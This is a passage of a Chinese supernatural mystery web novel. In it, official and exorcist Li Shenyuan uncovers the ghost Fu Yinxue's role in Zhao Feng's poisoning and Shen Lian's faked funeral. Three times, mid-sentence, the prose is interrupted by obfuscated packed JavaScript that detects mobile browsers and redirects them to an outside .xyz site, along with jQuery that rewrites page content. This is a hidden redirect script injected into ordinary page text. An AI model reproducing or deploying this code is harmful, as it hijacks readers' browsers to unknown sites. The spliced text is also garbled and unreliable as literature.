不知过了多久,四面好像有火光靠近,海上起火了一般,此时声音歇了。 又过了好一会,李慎元才看清楚四面八方围上来奇形怪状的小木船,每艘船上站着一个船夫。 一艘船直直往他们二人的方向冲来,上面站着一个妇人,皮肤黝黑,身材瘦小,却灵活得很。将要撞上二人时,船停了。老马叫了一声红姐,跳上对方的船。 老马朝李慎元伸出手,李慎元赶紧从水里爬了过去。见两人都坐稳了,红姐的支起撑杆往远离大船的方向划走。 远远的李慎元看见,奇形怪状的小船停靠在大船附近,片刻后又像雾一样四处散开了,离开大船时每艘船上多了几个人。 天将亮时,三人小船来到了岸上。上岸的地方不是白天那码头,是一处沙滩,他们的小船就这么搁浅到沙子上。李慎元左右看了,除了海面这里没有别的出路,只有往密林里走。红姐点燃了火把,三人踩着沙子往林子里去了。 李慎元心中诸多疑问,跟在二人身后走了大概一刻钟,渐渐地前面有了路,路的尽头是一块被房子围起来的空地。红姐一个一个点燃了围着空地放置的照明火把,李慎元这才看清这空地密密麻麻站满了人,一个挨一个的,手上还都系了绳子,正是刚刚在鬼市看到谢阿奴大闹一通后放走的女人孩子。一个一个人头像从烟囱里爬出来的小猫儿似的,脏兮兮,怯生生的。 老人们拿来火把从巷子里走出来,像海里他们驾着小船点着灯围拢上来一样,在空地中心架起火堆。众人围坐在火堆旁,老人们拿出饼子烧热了汤,每人分了两个饼一碗汤,李慎元也分了一碗。汤里飘着几片白菜叶子,喝下去一股暖意升上来,将一晚上在海里飘的不安稳都驱散了。孩子们原本怯生生的,见李慎元一口闷了,原本也是饿坏了,才赶紧拿着饼子往嘴里塞。 年纪小的孩子们吃了饼喝了汤还是战战兢兢的瞪着眼睛,一只猫儿走过来在孩子刚拿了饼的手边嗅嗅,小孩害怕地往后缩,猫儿调皮,把他扑倒了,笑声一片。老人们轻轻唱着安眠曲,布满皱纹的手在孩子们背上轻轻拍着,孩子们听了眼皮一眨一眨的,蜷在一起睡了。 李慎元也得闲享受着片刻的宁静。 红姐似乎是这些人的头,她指挥大家安置下来,大伙也很听她的。待大伙都坐定了,红姐在李慎元身边坐下。 她道:“这些人都是家里闹灾荒活不下去了没了家人,同乡介绍说来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526852|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不查户籍不需路引就能赚钱。” 老马叹惜地摇头,“唉,世上哪有这种好事,这种好事又哪里论得着我们。” 红姐脸上生出几分愤怒,道:“没路走了想来大地方寻一条路,结果被人骗去卖了。我们跟了三更墟跑船的很久,那小子跟脚底抹了油似的,一下子就没影了。那天老马跟着你,看到你和那跑船的搭话,就叫兄弟们暗中跟着。这大海茫茫,若不是黑鱼郎一直在水下跟着你,记下路线回来报信,我们现在还没法子。” 一只高约三尺通体黑色眼泛绿光的大鸟飞来站在红姐肩膀上,目不转睛地盯着李慎元,想必它就是黑鱼郎了。李慎元无意挑衅它,悄悄地把眼睛移到一边。 “所以你也算是我们的同谋,你要是敢多嘴多舌”,红姐笑着威胁道,“我们能救人,也能杀人。” 他今晚本不打算多生枝节,现在事一件一件像海边的浪打过来,打得他晕头转向措手不及。现在他离海边大概有一二里地,好像还能闻到海的腥味。 “你流血了!”老马突然看着他。 “啊?谁流血了?”他感觉呼吸急促,不知道出了什么事。 “这傻小子。”红姐去后面拿来一块棉布,老马拿了按在他头上止血,他这才感觉到头很痛。 棉布按在流血的地方,血一下就止住了,头痛还暗戳戳的,李慎元问,“你们接下来怎么办?” 红姐看着的这些人是刚刚小船上划船的船夫,他们和红姐一样,皮肤黝黑身材精瘦。 “这些帮着救人的姊妹兄弟跟这些孩子一样,都是不记事的年纪就被人牙子拐走了,我们收留了一批。这些孩子记得家里的我们就帮忙找找,要实在找不到,就跟着我们过活,在海上捕鱼好歹有口饭吃。” 天将亮了,李慎元将身上的银子拿出,都给红姐老马安置孩子们。 天亮时大人领着孩子们回屋子里,众人散了,各做各的去,红姐送他到岸边,仍由老马撑船送他回沙洲码头。 这一夜实在过得长,不过好在打探到了消息。刚刚逃难来不及多想,现在身体静下来,万般思绪都如潮水般后知后觉涌上来。 此时无月,船下是无边无际深不可测的黑。方才倘若有意外,此刻他们已经和这黑沦为一体不知魂归何处。 李慎元摸了摸系在身侧的骨笛,解开绳子取出,他想着安魂的音律,笛声悠远空灵,似乎风在林间掠过。但海上没有树,所以这风径自往远处去了。原先他脑子里还想着旋律,这下思绪也不知飘到哪里去,只是习惯性地继续奏着。 一曲毕,骨笛中跑出黑影,站在李慎元身前站定,渐渐成型。老马毫无察觉,李慎元目不转睛盯着。之前从屏风中召出还混沌不清,现下借着船灯能看清模样了。他身形瘦削,不像大户人家里请的护卫五大三粗,倒像狐狸化形。这人长了两道细长的眉,眼睛像红色的琉璃,赤红如血,让李慎元想起之前在元宵节灯市上那盏罩着赤色灯罩的长明灯。 突然这站长明灯像是被风吹得明灭不清,老马还在船的另一头,李慎元只好暂时捏了个诀把它藏进骨笛。他将骨笛系在腰间,只觉得越发冷起来。不是在海上穿衣少的冷,是一股寒意,从骨笛中渗出来攀上他。 5. 寅雪 上岸后,李慎元搭了老马的马车往城里去。 他捏了个火诀,骨笛中溢出的寒意退却,身上渐渐暖和起来,车轮压在青石板上轱辘轱辘响,攒了一夜的疲惫也在此时袭来,他放弃防备顺势倒入梦乡。 待他因左手被禁锢的感觉拉扯醒来,左手都冻僵了,好像动一下就会像冰一样裂开。他只得用右手又捏一个火诀,这次寒意更快地攀了上来。一路上在这冰火两重天的淬炼下,他想就算他是一块废铁也该炼成神兵宝剑了。 在冰火之间淬炼了十个来回后,他到家了。下车时他冷得发抖,老马抬头望了望太阳,又看了看路边晒蔫了的树,最后望向他,问:“你是不体虚啊?” 李慎元似乎不愿多攀扯,径自走了。 老马还在身后喊道:“俺这有十全大补酒你要不?” 他仍不应声,老马不得趣,留下一句回见,驾着马转身走了。 李慎元这厢,不是不应声,实在是冻得上下嘴唇粘连在一处,张不开嘴了。 他昨夜将谢阿奴安置在纸人中,只怕他动作太过,现下三魂不稳。 这骨笛据他母亲说,是由她在子归山里游山玩水时救过的一只鹰送给她的鹰骨制成,如果她不是胡言乱语诓他的话,这骨笛应当能护魂安神,眼下寒意一股一股涌出,看来骨笛也失效了。他施火诀只能暂时压住寒意,要彻底止住,也许要找到谢阿奴尸身,追本溯源。 李慎元堆起柴禾,烧起大火。他把两根木头交叉绑在一起,做了两个架子,架在火堆两边,再将骨笛系在另一根木头上,搭在架子上炙烤。如此安置了谢阿奴后,李慎元去了赵府。 李慎元直截了当地问赵管事,府里是否有一个叫谢阿奴的。 赵管事却同他打起太极拳来,“府里这么多人,每日来来去去的,我哪里记得清楚。” “他是你前几日在人市招的,这么快就忘了?” 见赵管事仍一副锯嘴葫芦的姿态,李慎元接着道:“赵管事,蓄奴过多不归刑部管,我只是为赵大人的命案查线索,希望赵大人能早日入土为安。” “我不知道什么叫谢阿奴的。” “这可事关赵大人。” “我确实曾去人市招人,但没有叫谢阿奴的。李大人,您话说到这份上,我也没必要骗您。” 这赵管事平时总一副用鼻孔看人的模样,李慎元盯着他,不像在撒谎。如果他说的是真话,那谁在说假话呢? “既然您说没有,李某告辞。” 正要离开,感觉手上一紧,一个头发散乱的妇人冲出来抓住他的手。 “儿子,你回来了。” 妇人抓着他的手上手摸,问道:“你去哪儿了?你手痛不痛啊?” 李慎元待说话,赵管事已经追上来让人把她带下去了。 “都愣着干嘛,快把这疯婆子拖走!” 两个家丁上来把她拖走,妇人还在挣扎,二人合力差点按她不住。 “放开我,为什么不让我见我我的孩子!” 赵管事转身又对李慎元道:“这婆子受了惊,总是疯言疯语的,我叫人把她关在柴房,不知怎的又逃出来了。” 李慎元问:“她的孩子怎么了?” 赵管事道:“哪还有什么孩子,年初她带孩子出门逛庙会,人太多走丢了,没找回来,就疯了。” 李慎元望着婆子挣扎的背影,若有所思。 待回到东郊家里,火已经灭了,谢阿奴黑着脸端坐在木架上。 “我是肉吗?把我架在火上烤。” “不点火驱寒,这一个下午你只怕要冰封十里了。” 李慎元一边搭话,一边越过他走向靠墙摆放的大箱子,在大箱子里翻找起来。这箱子是他的百宝箱,里面是这些年他收集的各种法器,有一半是从他师父守一道人那顺来的。 “找到了。”李慎元从箱子里拿出一个物件。 “拿这破碗做什么?”谢阿奴飘过来。 李慎元不语,一只手去捉谢阿奴的手按在碗里......按在法器上,法器和指南针相似,中间放一个勺。谢阿奴手放上去时,勺剧烈震动动起来,最后勺柄在东南方向停住,还小幅度的左右晃动着。 “你做什么!”谢阿奴生气要甩开手,被李慎元反手甩进骨笛。李慎元把骨笛从木架上拆下系在腰间,便跟着这方向出发了。 勺柄最终在一个荒坟地不动了。 这坟地四周都被大树遮挡,虽然今日是艳阳天,此地却格外清凉。 坟地散乱着几个土堆,边上立了木碑,但都没写名字,不知是哪里的冤魂野鬼。 李慎元从骨笛中召出谢阿奴。 谢阿奴看了看四周,问:“来这里做什么?” 李慎元漫不经心道:“给你上坟。” 谢阿奴:“空手来吗?” “......” “你的魂体不稳,可能是魂体放入纸衣中排异,要找到尸身稳固。” 勺子还在轻微的摆动,李慎元屏气凝神专心盯着摆动幅度,跟着转动的方向走。 谢阿奴站在李慎元身后看着他,一动不动。他看着李慎元越过那座土丘,绕到后面,发现了那具尸体。 勺子彻底停住了,李慎元也愣住了。 这具尸体分明同赵锋一样,像敲骨吸髓似的,瘦成了干柴。前后不过几日,两具一模一样的尸体,一具在赵家,一具在这荒坟地。 李慎元拖着自己往前走了几步,用木棍挑开右手,大拇指瘦得皮贴在骨头上,而另外四指是货真价实的木头。 他右手是假的。 李慎元想起往生栈的老头曾这么说过。 他瞳孔一缩,转身看向身后的谢阿奴,他感觉那双红眼睛颜色又变深了,紧紧盯着他,像狐狸一样细长的红眼睛。一阵凉风吹过,现在他却感受不到清凉了,只觉得渗的慌。 名字是假的,难怪一切都不对。 李慎元开口打破了沉默,“杀了赵锋的人,是你?” 谢阿奴走上前来,看着自己的尸体,眼里淡淡的,“你带我来这,果然不是为了固魂。” 李慎元问,“为什么杀他?” 鬼魂却不肯张嘴了。 “你既然不愿意说,那我只好自己看了。” 李慎元走近一步,食指中指并拢贴在鬼魂额头上,闭上双眼,视野随神识进入鬼魂的回忆。 他看到自己跟在一个人后面走,晚上,走廊里点着灯,走到一间屋子门口,前头那人回头,竟然是赵管事! “进去吧。”说完这话,赵管事让开路,让他自己进去。他进门后,赵管事在身后关上了门。 他继续往里走。 里头坐着的人说话了,“多大年纪了?” 李慎元听到自己张嘴说话,“二十。” “该怎么做,赵忠都跟你说了吧。” “赵管事都跟小人说了。” 桌子上有一把小刀,和那个赵管事遮遮掩掩怎么也不肯让他拿走的杯子,他拿起刀在手臂上划了一刀,血留下来,滴在杯子里。 李慎元无法感受到他刀割破皮的痛,但光是看着也觉得手酸。他忍不住想移开视线,可这是谢阿奴的回忆,他无能为力,只能眼睁睁看着血流满了一整杯。 他,谢阿奴端着杯子往里走,里面坐着的,正是赵锋。赵锋没有看他,只是端起杯子,将血一饮而尽。 “退下吧,去赵管事那领赏钱。” 这一次,李慎元没有听见自己说话,他只是死死地盯着赵锋,赵锋没有听到回应,抬头看了他一眼,“你——” 话未说完,赵锋突然扼住自己的喉咙,瞪大眼睛,说不出话了。 李慎元感觉自己身体往前动了,出手点住赵锋穴道,然后站在他对面,静静地盯着他。 李慎元甚至觉得,自己在笑。 直到赵锋断了气,躺在床上一动不动了,他才转身离开。 他打开门,赵管事还在外面,他掩上门。 赵管事问:“老爷不喜欢别人多话,你没做什么不该做的吧。” 谢阿奴道:“没有。” “行,那跟我去领赏吧。” 说着赵管事带着他往前走,七拐八拐的,越来越安静,廊上的灯也暗下来,渐渐地路旁没了灯,但他还是紧紧跟在赵管事身后。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526853|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就在这儿吧。” 赵管事说着住了脚,李慎元只觉眼前寒光一闪,一把刀朝着他心口刺来,他心里一紧,还没反应过来,赵管事就被他用手刀打晕了。 李慎元在心里呼了一口气,心想这小子身手不错啊。 他离开赵府后去城外暗巷见了一个人,那人穿着华贵,看不清面容,但李慎元似乎看到他腰间一闪而过的亮光,一个圆球状的坠子,是银香囊。据李慎元所知,有这东西的,城里只有一个人。如果牵扯到他,那作案动机倒是有了。 对方开口道:”得手了?“ “嗯。” “我安排你出城。” “不必,我自有去处。” 说着脚尖一点,跳上屋顶离开了。 李慎元还想跟上去看,却突然感觉自己头很涨,接着神识就被弹了出来。 他睁开眼,那双总是无波无浪的眸子正瞪着他。 想到最后那个银香囊。 李慎元问:“你认识沈炼?” “不认识。” “不认识?不认识为什么帮他杀人。” 谢阿奴突然面目狰狞起来,“狗官,你们既是一伙的,捉了我去便是。” 李慎元道:“你都死了还怎么捉。” “你大可捡了这具尸体去邀功。” 李慎元不怀好意的笑笑。 谢阿奴警惕地往后退了一步,“你又想耍什么花样。” “你既然不告诉我,我自己看便是了。” 哪料这次他有了防备,怎么看都是一团黑雾,什么也看不见了,李慎元无奈退了出来。 赵管事说,赵锋吃的喝的都有专人试毒,死活不让他拿走那个杯子,在谢阿奴的回忆里,他手臂上放出的血就流在那个杯子里,被赵锋喝了,就开始发作,这么说,血是下在谢阿奴自己身上的。这件事是密事,所以赵管事没有跟进来,更不可能有人试毒了。 今日去赵府时那个妇人也反复看他的手臂,眼神很关切,好像怕他受伤一样。难道......不对,谢阿奴说过,他爹娘都死了。那个妇人的孩子难道也是这样遭了毒手,赵管家才咬定没有谢阿奴这个人,也不让带走杯子。 想到这,李慎元转身离开了。 谢阿奴不知所措起来,要逃走吗?他现在这个样子已经够怪异了,逃,又能逃到哪里去。 一直以来他心中只放了一件事情,他本以为死后一切皆消,不知为何再睁眼就是这个不人不鬼的模样,被困在赵府,被那个茅山道士带上山后本以为能解脱,绕了一大圈又回到这里。 他不应当有任何期待的,他早就知道,人只要有期望,就会失望,就算变成鬼也一样。 天地之大,他无处不可去,却无处可去了。 就在这时,李慎元回来了,扛着一把——锄头,他越过谢阿奴,开始挖坑,二话不说掩埋了尸骨,立了木碑。李慎元提笔立碑时顿住,回头问道,“你叫什么名字?” “你在往生栈留下傅姓,谢阿奴大概不是你真名吧。” 谢阿奴怔住,随后摇摇头,道:“代号而已,有什么要紧。” 李慎元却道:“名字很重要啊。” 谢阿奴抬眼看他,李慎元笑道:“知道鬼的名字能做的事情可多了。” “......” 李慎元突然正色道:“好比我的名字,慎元,是我老娘希望我谨言慎行,师父赐我法号至真,希望我不忘本心。” 谢阿奴望向李慎元,看到他收起了调笑,一本正经的,他移开眼神望了望天,云朗气清,他开口道:“傅寅雪。” “我父亲说我是寅时生的,那天晚上天安静得很,我出生后天就开始下雪了。” “是个自在的好名字。” 谢...不,傅寅雪却苦笑一声,他一生中最得不到的就是自在。 傅寅雪之墓。 李慎元手巧,铁凿头在木板上忽左忽右,忽上忽下,来去之间,五个清晰可辨的大字就印在了木板上。 他拍掉手上的木屑,道:“你是凶手,我自然不能放你走,把你埋在这,等以后案子有了新进展,再来挖你。” 6. 沈炼 “我们老爷辞官回老家了。” 说话的是沈府的管事,是个年纪很大看起来很慈祥的人。 “什么?” 李慎元昨儿在傅寅雪的回忆里看到的银香囊是沈炼的,凶杀案牵涉到另一位朝廷官员,事关重大他一早就来沈府拜访,却被家丁告之沈炼已经离京。 “是什么时候的事?” 赵锋刚死,宰相之位少了强有力的竞争对手,这位沈大人这个时候离开,是心虚还是避嫌。 “老太爷前些日子身子不爽利,不久前驾鹤西去,老爷自请辞官回家给老父亲送葬了。” “他不回来了?” “三年守丧期满,自等陛下起复。皇恩浩荡,陛下还托宁王殿下携敕撰祭文前去祭奠。” “请问沈大人老家在哪?” 小厮皱了皱眉。 见小厮起了疑,李慎元连忙道:“在下同沈大人有过一面之交,我第一次上朝时太过紧张,殿前失仪,若非沈大人妙语化解,今日我早不知流落在哪了,沈大人逢此悲痛之事,也想前去吊唁。” “原来有这一层缘故,您有心了,我们老爷老家在楚苦县,您到了那,随便抓个人打听沈家,没有不知道的。” 李慎元从沈府告辞后,打听到宁王还未启程,便去宁王府拜会。宁王意外地好说话,听了李慎元陈词后,便同意带上他一同去。 李慎元在刑部申请了外勤,收拾行李准备奔着沈大人老家去。 收拾行李时,傅寅雪悠闲的坐在箱子上看他忙前忙后。 李慎元像掸灰尘一样把他挥开,他也不介意,在地上盘腿坐着,“你要走很久?” 李慎元把他拨开,打开箱子翻找衣物,“你以为我会把你留在这里,你可是重要证物。”说着顺手把他收进骨笛。 傅寅雪又爬出来,道:“既然你要带我走,一并带上我的行李吧。” 李慎元靠在背后的箱子上,“你一只鬼有什么行李。” “既然你要走,能不能带上我的遗物。” 见李慎元不说话算是默许了,傅寅雪接着道:“城西藏雾林,往里走半炷香大槐树下有一个坛子,你把它挖出来。” 李慎元挖出坛子,是个酒坛,晃了晃,里面叮铃咣铛的,绝不是水声。 “把里面东西拿出来。” 坛口小,不知道他怎么放进去的。李慎元把坛子摔碎,里面是一个四方盒子。 “就这个?” “嗯。” “这是什么?” “很重要的东西。” 见他不愿多说,李慎元也不多问了,将盒子收进包裹里。 宁王喜静,除贴身侍卫外未置其他仪仗,三人雇了马车,一路上走陆路还算安逸,只临到目的地时,傅寅雪突然形体不稳,像活人做噩梦一般梦呓,李慎元凑近了听,他反反复复说着——他是冤枉的。 李慎元借歇脚时奏安魂曲固魂,又写了一道安魂符贴在骨笛上,这才安定下来。 一夜无眠,天蒙蒙亮时,马车来到了楚苦县,沈大人老家。 三人星夜赶路,肚子空空,刚来了瞌睡就有人递枕头,路边一个老婆子道:“来一块甜糕吗?” 宁王让侍卫拿出碎银,“来十块吧,老人家。” “欸,好。” 甜糕是一早做好了放在篓子里的,用布包了鼓鼓囊囊的,宁王吃了一块,似乎不爱吃,没再动手拿第二块。李慎元拿起一块咬了一口,咬下去没什么味道,吞下去后嘴里却有甜味。 卖糕的老婆婆笑眯眯的,“甜吧。” “很多年前楚苦县发过旱灾,那时候大家就是靠着吃这个撑下来的。” 李慎元问道:“这以前闹过旱灾吗?” “是啊,死了不少人呢。惨呐。” “是什么时候的事?” “得有十来年了吧。这些年倒是风调雨顺的,大家都说是老天爷觉得欠我们楚苦县。” 十来年,李慎元想不起来,大概那时候他和母亲在颠沛流离,无暇顾及外界的种种变化。 说话间剩下的八块都进了侍卫肚里,他看起来身板不厚,胃口倒大。 连日奔波身体已经到了极限,三人找了个客栈,到客栈,李慎元嘱咐小二喂马,见侍卫不见了,左右看了几眼,宁王道:“不必担心,他会在附近瞧着的。”便上楼歇着了。 几人歇了一夜,养好了精神,第二日一早,李慎元打开门,那侍卫又在宁王门外站着了。就在客栈用过早饭后,三人均着素服往沈府去。 李慎元同小二打听,小二说往西走一直到挂白布白幡的那家就是沈家。 坐马车没多久就听到哭声,和尚道士诵经念佛声。 早有负责接待客人的知客在门口候着,李慎元道:“烦您通报沈炼沈大人,皇上体恤沈大人忠孝之心,特派宁王殿下前来吊唁。” 听了这话,对方掩面痛哭起来。 好一会,才抽抽噎噎道:“能得皇上这么挂念,我们少爷九泉之下也安心了。” “什么?” 说话间几人已经到了灵堂外,李慎元顺着小厮的视线往灵堂望去,挂在棺木前方的铭旌,上面写的赫然是礼部尚书沈公之柩! 李慎元一把拽住知客,“死的不是沈家老爷子吗?” 听了这话对方露出不悦,却还是解释道:“死的是我们少爷。” 李慎元和宁王面面相觑,这是怎么回事? 司宾已经在通报: “宁王殿下——到——!” “刑部李侍郎——到——!” 宁王拿着祭文,李慎元跟在后面进去了。 灵前站着一个老翁,看着年近七旬,涕泗横流。 想必这位就是沈老爷子了,他本该躺在棺材里听祭文里如何褒奖他的品德功绩,躺在棺材里的沈大人会恭敬地将这祭文请下,现下全乱套了。李慎元看着宁王手里拿着本该给对方的祭文,缓缓将手背过身后。 沈老爷子递上酒盅,宁王接过,将酒洒在地上,洒了三次。 女眷在灵帏后哭出声来。 侍卫拿走了宁王手上的祭文,宁王向前一步握住沈老爷子的手,道了声节哀顺变。 宁王位高,以免他在大家不自在,三人吃过豆腐饭后便离开了。 “李侍郎,依你看这是怎么回事?” “臣也不明白。”宁王没表态,李慎元不好胡乱猜测。 “沈大人深受皇恩,依本王看,我们宜速速回京,向陛下禀报此事。” 这是要查了,李慎元本也奔着查清沈炼出现在傅寅雪回忆里一事而来,便道:“殿下,京城路远,一来一回恐生变。臣出身刑部,查案是份内之事,臣愿暂留此处尽快查明真相。” “也好,我会替你向皇兄禀明。” 事不宜迟,三人便在客栈前分手了。 宁王前脚刚走,李慎元后脚就溜回了沈家。 他绕到沈府后墙,爬上了树,决定静观其变。 这一等就等到了天黑。 “棺材里没人。”傅寅雪突然出现在他身后,淡淡道。 “吓我一跳,你怎么知道?” “我进棺材看了。” “什么时候?” “你爬树的时候。” 李慎元转身,支起一条腿坐下。 这么说沈炼他爹没死,他也没死。 可为什么呢? 如果他谎称父亲亡故离京是故意躲开调查,又为什么在家里弄这一出。 沈炼离宰相之位只有一步之遥,他和死去的赵锋常年是死对头,现在赵锋死了,宰相之位花落沈家是板上钉钉的事,这个时候死遁怎么看都不划算。 “毫无头绪,天哪,能不能掉个线索给我啊——谁砸我?!” “你在树上做什么?”一个脆生生的声音在树下问道。 李慎元往树下看,树下站着一个戴虎头帽的小孩,仰着头叉着腰气势汹汹的。 他道:“你是谁家小孩?” 小孩回:“你是谁家大人?” 见这小孩有趣,李慎元玩心渐起,道:“说出来吓死你。” 小孩也不示弱,道:“我怕吓死你不告诉你。” 李慎元冲下面勾了勾手指,“嘿这小屁孩,有本事你上来说话。” 小孩指着他,道:“有本事你下来说话。” 李慎元转过头对傅寅雪道:“我跟个小孩较什么劲呢。” 傅寅雪撇过头没眼看。 李慎元从树上一跃而下,冲着小孩道:“我下来了你待怎么地?” “我待——”,小孩狡猾一笑,在他腰间一摸,转头就跑。 李慎元好像听到腰间什么东西断裂,低头一看,胳膊腿俱在,就是钱包没了。原来断的是他的财路,这还了得! 撒丫子就追了上去。 谁知这小孩看着小小一个,两条腿跑得比兔子还快,李慎元跟在其后不停地撞上过路人,嘴里只得连声道歉:得罪了得罪了......”任由怨声落在后面。 “怎么看路的!” “找死啊你!” “哎哟,我的菜!” 小孩引着他专往难走的上坡路陡坡石子路走,他灵活得像一只抓了鸡的黄鼠狼,七拐八拐就没影了,李慎元鞋子都磨破了和他的距离还是越来越远。好在,他最擅长的就是坚持。 他一路跑,他一路追。 他一路追,他一路跑。 追到了山下,小孩跑进了山。 李慎元在山前止步。 他回头看,沈家已经望不见了,太阳也离他越来越远,即将入夜,此时进山绝不是个好主意。可没了盘缠,别说留在此处,连回京路费都成问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526854|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纠结了一番,还是一头栽进了山里。速战速决,尽量太阳下山前出山。 进了山后,隐隐约约能在四面八方看见这小孩的影子,可走到近前,又不见了。 李慎元觉得背后发凉,“真邪门啊。” 傅寅雪从背后出现,幽幽道:“他是故意引你来这儿的。” “怎么说?” “他对这里很熟悉,一直在离你不远不近的地方,耍小把戏。” “那我只好将计就计,看看他到底还有什么招。” 觉察此事,李慎元倒不紧不慢起来,那小孩见他不急不躁,反倒更加上蹿下跳。在两个地方同时出现了小孩的背影,李慎元不管不顾,只挑好走的地方走。 他越是急,他越是慢。 最后小孩憋不住气了,倒挂在他头顶的树枝上,勾着钱袋垂到他面前,大喊道:“喂,你不想要钱袋了。” “要啊。” “那你还走这么慢,你当逛庙会呐!” 这小毛贼,还替他操上心了。 “那你要不要大发善心把钱还给我。” 小孩把手一收,钱袋就不见了,他胸前鼓鼓囊囊的。 “你跑赢我就把钱袋还你。”他一个鲤鱼打挺,把自己甩上树,又抱着树滑了下来,哧溜一下又跑了。 不过这回他不装神弄鬼了,似乎在认真带路。 走了一会,小孩突然站定,道:“就是这儿了。” “还你!”说着把钱袋一扔,人跑没影了。 李慎元一手接过,钱袋还是原样,里面的钱也一分不少,那小孩果真只是为了引他来这里吗?是什么时候盯上他的,在沈家,还是进城的时候。 左右环顾,此地似乎并无特殊之处。 “喂,小孩——” “这什么意思,就给我撂这儿了?” 他只好继续往前走。 忽而感到脚底一阵刺痛,翻转来看,鞋子都被刺穿了,渗出血来。 他蹲下来看,才发现地上竟然长满了黑毛,很细小,但看起来很硬,根根向上,用手轻轻一碰,指尖又被扎出血,而且出血的地方立刻就变得青紫,手指好像被麻痹了,完全动不了。 李慎元赶紧点了曲池、冲门穴两处穴道,不知这黑毛什么来历,以免毒素蔓延到全身。 此时他不宜大幅行动, 一般解药就在毒药边上,李慎元四顾找了找,把周围的草都吃了个遍,手指更僵了。 他看着一开始故意被他忽视的一团黏糊糊像虫子的草,犹豫不安,“不会是这个吧”。 傅寅雪抱胸站在一旁,接话道:“你一开始就知道不是吗?” 李慎元看着黏糊糊的一团,实在下不了嘴。 傅寅雪此时难得说了句软话,“你吃吧,这也是没办法的事。” 李慎元深吸了一口气,闭着眼塞进嘴里,嗓子被堵得严严实实,能感觉到黏糊糊地往下掉,他差点没又吐出来,还是忍着恶心咽下去了。 刚下肚,手上的青紫肉眼可见慢慢消退了,只剩下一个流血的口子,脚也不痛了。李慎元转了转脚踝,好像箍着他的一股劲消失了。 他往后退了点,这才发现地上很大范围内都有这种黑毛。 “这是他想要我看的吗?” 难道沈炼是被这黑毛毒死的,他大老远跑到山上来做什么呢?像是专门奔着这来的,他不知这附近有解药吗? 眼前线索太少,李慎元捡了一根稍粗壮点的木棍,把一头削尖,想连土铲一块这黑毛下来,去镇上看看有没有人认识。 他越铲越发现,这黑毛不是地面上这浅浅一层,似乎有根蔓延申到地下深处,他不停地铲,想看看这底下到底有多深,大概翻出一尺深的土,终于铲倒了一个硬东西。 是石头吗? 他继续把周围的土都铲开,才发现,那硬块,是一截骨头,他能看到的有限,不确定是兽骨还是人骨。 黑毛是刺穿了骨头往地上长的。 这究竟是什么东西? 李慎元想到自己刚刚被扎到开始头晕,如果他没有找到解药是不是就会被黑毛缠进地下去,永不见天日了,他这会才后怕起来。 沈家的棺材里没有沈炼,难道他也在这里吗? 他来这里做什么,沈家在隐瞒什么,恐怕要把这里掀开才能知道。 凭他一己之力,干到猴年马月也挖不完,还是得下山去找帮手。 正要站起身下山,变故陡生,一个黑影从他前面窜过,李慎元只觉腰侧一紧,往下看时,他的钱袋又被抢走了。 是小孩又回来了吗? 不,不是,小孩看起来跑得快,实则是障眼法,这个黑影经过他身边的时候,他实实在在感受到了这人的气息。 还没来得急理出思绪,突然头一痛,眼前一黑,就晕过去了。 7. 丐帮 他再醒来时,脑袋后面挨了一闷棍的痛拉扯着他整张脸都往后,缓了好一会,眼睛慢慢适应了黑暗,他才看清眼前破旧的木头架子,蛛网缠绕的桌子椅子,他不在林子里了,这里似乎是一处废弃的民房。 他手撑地想站起来,好像碰到什么东西,低头看,是一碗粥,房子很破,碗却很干净。他用手碰碗边,温的,应该盛出来没多久。 是谁把他搬到这里来的? 他隐约记得晕倒之前听到两个人在说话。 “你干嘛打晕他?” “坏人。” “他不是,哎呀!你......” 急得跳脚为他争辩的好像是那个小孩的声音,另一个声音不知道是谁,听起来沙沙的,像干枯的树拖在地上走。 是小孩吗?他应当没有这么大的力气。 大概是另外一个声音把他搬过来的。 还没想明白为什么把他引去林子里,又搬来这里,他的肚子先出声了。 咕—— 五脏庙发话了,李慎元端起粥喝了一小口,又想,如果想害他,把他丢林子里不管就是了,不必大费周章把他带来这里,又给粥下毒,多费力啊,当下大口吞咽起来。 他之前在林子里到处走,又伤了脚,伤了元气,喝碗粥又昏昏沉沉睡过去了,恢复了点精力后,天还没亮,连夜赶回了客栈。 他走到门前正准备推门而入,听见房里好像有动静,一瞬间他福至心灵,没有进门而是躲到隔壁房间贴在墙壁上偷听,只听到嗤啦一声。 他在隔壁等了好一会,没有人从他房间出来,但房里的声音消失了,想必他们跳窗离开了。 他推门走进自己房间,窗子是打开的,被褥上方破了半个手掌大小的口子,他掀开被褥,底下一层棉褥,甚至床板都刺穿了,好个一剑封喉的死法,李慎元不敢想刚刚如果今天没被绊住而是睡在床上会是怎样光景。 